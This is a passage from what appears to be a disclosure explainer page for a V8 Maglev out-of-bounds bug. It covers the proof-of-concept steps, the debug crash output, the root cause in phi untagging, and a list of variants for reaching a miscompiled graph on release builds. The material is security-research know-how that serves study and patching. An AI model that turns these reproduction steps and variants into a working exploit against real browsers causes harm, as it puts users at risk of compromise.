  • for (let i40 = 100; i40; --i40) {} is an empty inner loop, present to shape the graph.
  • %PrepareFunctionForOptimization(f1); tells the engine to warm up the function for optimisation.
  • f1(); f1(); call it twice so the engine sees it running.
  • %OptimizeMaglevOnNextCall(f1); forces the next call to be compiled by Maglev.
  • f1(); runs the optimised version, which triggers the bug.

The reproduction is run with a debug build of V8:

Shell
./d8 \
    --allow-natives-syntax \
    ./poc.js

Line by line:

  • ./d8 runs the V8 shell from the current directory.
  • --allow-natives-syntax enables the special % commands used in the script.
  • ./poc.js is the file to run.

The resulting crash is:

Text
#
# Fatal error in ../../src/zone/zone-containers.h, line 247
# Debug check failed: pos < size() (2 vs. 2).
#

This message says the debug build's bounds check failed: the requested position pos was 2, and the size of the container was also 2, so the position is not less than the size. In other words, the program asked for the third item in a two-item list.

Root cause

The SnapshotTable merge logic sizes merge_values_ by the number of predecessors that are merged, which for a loop block excludes the back edge. For a loop block, PreparePhiTaggings() deliberately skips the back edge, so only the non-back-edge predecessors are merged. In this case two predecessors, B5 and B6, are merged and two slots are reserved.

Later, EnsurePhiInputsTagged() iterates over all inputs of the phi, including the input that corresponds to the back edge, and passes that input's position as predecessor_index. For n56 the third input is n19, so the index is 2. GetPredecessorValue() then indexes merge_values_ with merge_offset + predecessor_index, which is 2, while the array only has two elements at indices 0 and 1. The debug build catches this with the zone container bounds check; The report says the out of bounds range might lead to the construction of an incorrect Maglev Graph, and that it is not sure whether the bug can be exploited.

The mismatch is between the count used when reserving slots (non-back-edge predecessors) and the index used when reading (the phi input position, which includes the back-edge input).

Impact

The report describes the issue as an out of bounds memory access in V8. The immediate demonstrated effect is a crash of the engine in a debug build. The researcher states that the out of bounds range might lead to the construction of an incorrect Maglev Graph during phi untagging, and explicitly says that they are not sure whether it can be exploited.

Fix

It only identifies the introducing commit [redacted] and the affected range up to the latest version at the time of writing.

Variants to test

  1. Other loop blocks with a mix of normal predecessors and a back edge, where a phi input corresponding to the back edge is itself a phi that has been untagged. A positive result is the same debug assertion in zone-containers.h with pos equal to or greater than size().
  2. Phis with more than three inputs, for example a loop body reached from several try/catch paths plus the back edge, to see whether larger indices reach further past the reserved slots. A positive result is a crash or, in a release build, a miscompiled graph.
  3. Different input orderings, placing the untagged phi at input 0 or 1 rather than at the last position, to check whether the index still exceeds the merged predecessor count. A positive result is the same out of bounds read with a different index.
  4. Nested loops where the inner loop's back edge is skipped and the outer phi refers to an inner phi. A positive result is the same assertion or an incorrect optimisation decision visible with --trace-maglev-phi-untagging.
  5. Running the same proof of concept on a release build of d8 with Maglev enabled, to observe whether the out of bounds read produces a wrong graph rather than a debug check. A positive result would be a behavioural difference between optimised and unoptimised execution, which the original report does not claim to have achieved.

Glossary

  • API: a defined set of functions a program can call to make another program do something, like a menu of allowed requests.
  • Back edge: the arrow in a control flow graph that jumps from the end of a loop body back to its start, so the loop can repeat.
  • Basic block: a straight run of instructions in a compiled program with one entry and one exit, with no branches in the middle.
  • Bisect: finding the change that introduced a bug by testing versions from different points in history and halving the range each time.
  • Bounty: a payment made to someone who reports a security bug, here under the Chrome VRP.
  • C++: the programming language V8 is written in.
  • Chrome VRP: the Chrome Vulnerability Reward Program, which pays researchers for security reports.
  • Commit: a saved change to source code, identified by a long hexadecimal string.
  • Control flow graph (CFG): a map of which blocks in a program can lead to which other blocks.
  • d8: the standalone V8 shell used to run JavaScript without a browser.
  • Debug build: a version of a program compiled with extra checks switched on, so mistakes are caught loudly.
  • Exception: an error raised while a program runs, which can be caught by a catch block.
  • Float64: a 64-bit floating point number, the machine form used for non-integer numbers.
  • Int32: a 32-bit integer, a compact machine form for whole numbers.
  • Log entry: a record in a snapshot saying that a particular phi was given a new representation at that point.
  • Maglev: the compiler inside V8 that translates JavaScript into faster machine code while the program runs.
  • Merge block: a block with more than one way in, where values from the different paths have to be combined.
  • merge_values_: the array inside the snapshot table that holds the merged values for each predecessor.
  • Native syntax: special % commands in V8 that let a test script talk directly to the engine, normally disabled.
  • Out of bounds memory access: reading or writing a position past the end of an array or other container, which can return or corrupt unintended data.
  • Phi node: a node where several paths meet that picks the value arriving from the path actually taken.
  • Predecessor: a block that can lead into the current block.
  • Proof of concept (PoC): a small program that demonstrates a bug.
  • Release build: a version of a program compiled for normal use, without the extra debug checks.
  • SnapshotTable: the table that records which phi has been converted to which representation, as a chain of snapshots.
  • Snapshot: a saved state of the snapshot table at a point in the program, linked to its parent.
  • Smi: a small integer, stored in a compact tagged form in V8.
  • Tagged: the general value form that carries a label saying what kind of thing the value is.
  • Template: a C++ feature that lets the same code work for different value types.
  • Trace / tracing flag: a switch that makes a program print a running commentary of what it is doing.
  • try/catch: a JavaScript construct where a try block that might fail is paired with a catch block that handles the error.
  • Untagging: converting a value from the general tagged form to a specific machine form such as Int32 or Float64.
  • V8: the JavaScript engine used by Chrome and by the d8 shell.
  • Zone container: a container type in V8's zone-containers.h that has a bounds check in debug builds.

More by 303f06e3

View all

9 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.